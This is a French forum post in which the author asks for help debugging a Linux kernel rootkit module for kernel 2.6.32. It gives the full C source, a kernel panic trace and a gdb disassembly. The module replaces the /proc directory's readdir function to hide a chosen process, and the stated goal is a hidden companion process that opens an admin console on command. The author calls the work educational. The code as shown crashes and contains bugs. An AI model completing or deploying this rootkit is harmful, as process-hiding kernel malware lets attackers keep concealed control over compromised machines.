Bonsoir à tous,

permettez moi de venir quémander un peu d'aide, car actuellement les problèmes me dépassent techniquement. Je travaille actuellement sur un projet de sécurité portant plus particulièrement sur les rootkits noyau (LKM Rootkit), après avoir pas mal bosser sur la théorie, j'ai décidé de vouloir m'attaquer à la pratique (normalement c'est à partir de là que les ennuis arrivent) en développant un simple rootkit sur noyau linux 2.6.32-5-686, l'idée était de faire du Hooking sur la fonction readdir du dossier /proc afin de pouvoir le remplacer par ma fonction vérolé, le but final étant de charger mon noyau, lancer un processus complice qui en fonction de certaine commande ouvrirait une console d'admin. Actuellement, je suis bloqué depuis quelques jours sur un kernel panic de type ""BUG: unable to handle kernel paging request at XXXX". Je vous sollicite donc pour m'aider à résoudre ce problème à s'arracher les cheveux. D'après mes recherches et le debuggage que j'ai pu faire le problème viendrait de ma fonction readdir vérolé.


Le code mon module frauduleux.


Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/proc_fs.h>
#include <linux/string.h>
#include <linux/file.h>

#include <linux/fs.h>
#include <linux/namei.h>
#include <linux/version.h>
#include <linux/list.h>


static struct nameidata g_root_nd;
//Déclaration des fonctions utiliser dans notre module.
static void Save_PrevInfo_mymodule(); // fonction permettant de sauvegarder la place de notre module dans la liste chainé comportant tous les modules
static void Proc_init();
static int new_readdir(struct file * fichier , void * tmp , filldir_t filldir );
static int Hackfilldir(void * __buff, const char *name, int namelen, loff_t offset, u64 ino, unsigned int d_type);
/* Déclaration des variables permettant d'enregistrer les anciens paramètres que nous allons modifier, afin 
d'éviter lorsque on unload le module d'obtenir un Oops Noyau (Important) */
    
    static char* Proc_toHide[10]; //nom du processus à masquer (à definir par la suite)
    static int Erreur; // Utilisation pour stocker une erreur se produisant dans une fonction
    static struct proc_dir_entry *pde; // pointeur utilisé afin de récupérer le ponteur ciblant le structure modélisant notre procfs (afin de pouvoir communiquer entre le userland et le kernelland) 
    static struct proc_dir_entry *ptdir;
    static struct proc_dir_entry *root;
    static struct list_head *prev; // liste chainée, tous les modules sont compris dans une liste chainée de type list_head. 
    static struct file_operations *root_fops; // pointeur sur la structure contenant les différentes opérations possible sur le fichier
    static filldir_t Save_filldir; 
    static int (* Save_proc_readdir) (struct file *, void * , filldir_t);

static void Save_PrevInfo_mymodule()
{
 	prev = THIS_MODULE->list.prev;
}


//(void *__buf, const char *name, int namelen,loff_t offset, u64 ino, unsigned d_type)
//typedef int (*filldir_t)(void *, const char *, int, loff_t, u64, unsigned);
//typedef int (*filldir_t)(void *, const char *, int, loff_t, u64, unsigned);
static int Hackfilldir(void * __buff, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type) //merci la bibli de linux, tant de bonheur
{
        printk("My Debugger : Hackfilldir1\n");
        printk(KERN_ALERT "after filldir!\n");
	 if(strcmp(name, Proc_toHide)==0) // si nom du processus à cacher alors ne pas afficher (Merci captn Obvious)
            return 0;
           printk("My Debugger : Hackfilldir2\n");
 	 return Save_filldir(__buff,name,namelen,offset,ino,d_type);
 	
}


static int new_readdir(struct file * fichier , void * tmp , filldir_t filldir )
{
	printk("My Debugger : new_readdir\n");
	Save_filldir=filldir; //sauvegarde de la fonction permettant de donner les informations sur chaque élément contenu dans /proc
	printk("%p Debug Hackfilldir", &Hackfilldir);
	printk("%p Debug Save_filldir", &Save_filldir);
	return Save_proc_readdir(fichier, tmp, Hackfilldir);
	//g_root_nd.path.dentry->d_inode->i_fop->readdir(fichier, tmp, Hackfilldir);

}

static void Proc_init()
{

		printk("%p Debug Hackfilldir TEST \n", &Hackfilldir);
	pde = create_proc_entry("Hackme", 0444, NULL); //va permettre de créer une entrée dans /proc pour communication entre userland et kernelland
	ptdir = pde->parent; //On recupère la valeur du pointeur sur le structure du dossier /proc 
	
	if(strcmp(ptdir->name, "/proc")!=0)
	 {
	     Erreur=1;
	 }
        else
         {
            printk("%p Debug new_readdir \n", &new_readdir);
            root = ptdir;
            remove_proc_entry("Hackme", NULL);
            //on va maintenant modifier la fonction permettant de lister le contenu du repertoire proc
            root_fops = (struct file_operations *)root->proc_fops; // recupérer le pointeur de la structure contenant toutes les opérations possibles sur un fichier
            Save_proc_readdir = root_fops->readdir; // récupérer ptr fct permettant de lister le contenu
            printk("%p Debug Save_proc_readdir \n", Save_proc_readdir);
            root_fops->readdir = &new_readdir; //modifier fct par fonction vérolé
            printk("After ------------------------ \n");
         }
}


/* La fonction Mod_init est chargée lorsque le module est chargé, c'ets donc ici que nous 
allons rendre invisible notre rootkit*/
static int __init Mod_init()
{
		printk("LOAD HACK ME \n");
		Save_PrevInfo_mymodule();
		Proc_init();
		return 0 ;
}

static void __exit Mod_exit()
{
	//root_fops->readdir = Save_proc_readdir; // réaffecter l'ancienne fonction readdir non vérolé pour éviter Oops kernel
}


module_init(Mod_init) ;
module_exit(Mod_exit) ;

/*Les informations */

MODULE_LICENSE("X");
MODULE_AUTHOR("ThePie GarGir");
MODULE_DESCRIPTION("Project Dev LKM Rootkit");
Le panic kernel avec quelques affichages :

Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
[ 2546.237227] LOAD HACK ME 
[ 2546.237228] f7c2504d Debug Hackfilldir TEST 
[ 2546.237234] f7c25000 Debug new_readdir 
[ 2546.237235] c10e717d Debug Save_proc_readdir 
[ 2546.237244] BUG: unable to handle kernel paging request at c1282448
[ 2546.237246] IP: [<f7c2b0ab>] Mod_init+0xab/0xc2 [Hack_me]
[ 2546.237249] *pde = 36f02063 *pte = 01282161 
[ 2546.237251] Oops: 0003 [#1] SMP 
[ 2546.237253] last sysfs file: /sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/ACPI0003:00/power_supply/AC/online
[ 2546.237255] Modules linked in: Hack_me(P+) cpufreq_stats cpufreq_userspace cpufreq_powersave cpufreq_conservative parport_pc ppdev lp parport vboxvideo drm sco bridge stp bnep rfcomm l2cap crc16 bluetooth rfkill binfmt_misc fuse loop snd_intel8x0 snd_ac97_codec ac97_bus snd_pcm snd_seq joydev snd_timer snd_seq_device usbhid snd i2c_piix4 soundcore snd_page_alloc i2c_core ac button processor video battery psmouse vboxguest output pcspkr hid evdev serio_raw ext3 jbd mbcache sg sd_mod crc_t10dif sr_mod cdrom ata_generic ata_piix ahci thermal ohci_hcd ehci_hcd thermal_sys libata usbcore nls_base e1000 scsi_mod [last unloaded: scsi_wait_scan]
[ 2546.237278] 
[ 2546.237280] Pid: 2291, comm: insmod Tainted: P           (2.6.32-5-686 #1) VirtualBox
[ 2546.237281] EIP: 0060:[<f7c2b0ab>] EFLAGS: 00010286 CPU: 0
[ 2546.237283] EIP is at Mod_init+0xab/0xc2 [Hack_me]
[ 2546.237284] EAX: c1282430 EBX: f7c25208 ECX: f6719f84 EDX: f7c251c8
[ 2546.237285] ESI: 00000000 EDI: f7c2b000 EBP: 00000000 ESP: f6719f80
[ 2546.237286]  DS: 007b ES: 007b FS: 00d8 GS: 00e0 SS: 0068
[ 2546.237288] Process insmod (pid: 2291, ti=f6718000 task=f60accc0 task.ti=f6718000)
[ 2546.237288] Stack:
[ 2546.237289]  f7c251c8 c10e717d f7c251b1 f7c25000 c100113e f7c25208 00000000 b77ec380
[ 2546.237292] <0> f6718000 c1057e95 08dfc018 08048760 c10030fb 08dfc018 00000fd2 08dfc008
[ 2546.237294] <0> 08048760 b77ec380 bfb7fc08 00000080 0000007b 0000007b 00000000 00000033
[ 2546.237297] Call Trace:
[ 2546.237301]  [<c10e717d>] ? proc_root_readdir+0x0/0x3b
[ 2546.237304]  [<f7c25000>] ? new_readdir+0x0/0x4d [Hack_me]
[ 2546.237306]  [<c100113e>] ? do_one_initcall+0x55/0x155
[ 2546.237308]  [<c1057e95>] ? sys_init_module+0xa7/0x1d7
[ 2546.237310]  [<c10030fb>] ? sysenter_do_call+0x12/0x28
[ 2546.237311] Code: f7 e8 62 f1 4b c9 a1 9c 53 c2 f7 8b 40 24 a3 a4 53 c2 f7 8b 40 18 50 68 c8 51 c2 f7 a3 ac 53 c2 f7 e8 0c 32 64 c9 a1 a4 53 c2 f7 <c7> 40 18 00 50 c2 f7 68 e5 51 c2 f7 e8 f6 31 64 c9 83 c4 14 31 
[ 2546.237325] EIP: [<f7c2b0ab>] Mod_init+0xab/0xc2 [Hack_me] SS:ESP 0068:f6719f80
[ 2546.237327] CR2: 00000000c1282448
[ 2546.237329] ---[ end trace 9e252721e033ea3c ]---
Utilisation gdb pour obtenir le code assembleur de Mod_init :
Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Dump of assembler code for function init_module:
0x000000e7 <init_module+0>:	push   $0x91
0x000000ec <init_module+5>:	call   0xed <init_module+6>
0x000000f1 <init_module+10>:	mov    0x8,%eax
0x000000f6 <init_module+15>:	mov    %eax,0x38
0x000000fb <init_module+20>:	push   $0x4d
0x00000100 <init_module+25>:	push   $0xa0
0x00000105 <init_module+30>:	call   0x106 <init_module+31>
0x0000010a <init_module+35>:	xor    %ecx,%ecx
0x0000010c <init_module+37>:	mov    $0x124,%edx
0x00000111 <init_module+42>:	mov    $0xbc,%eax
0x00000116 <init_module+47>:	call   0x117 <init_module+48>
0x0000011b <init_module+52>:	mov    $0xc3,%edx
0x00000120 <init_module+57>:	mov    %eax,0x2c
0x00000125 <init_module+62>:	mov    0x2c(%eax),%eax
0x00000128 <init_module+65>:	mov    %eax,0x30
0x0000012d <init_module+70>:	mov    0x8(%eax),%eax
0x00000130 <init_module+73>:	call   0x131 <init_module+74>
Je vous remercie par avance pour votre aide. Vous comprendrez bien que ce projet est uniquement a but pédagogique afin de mieux comprendre l'attaquant pour savoir se défendre au mieux.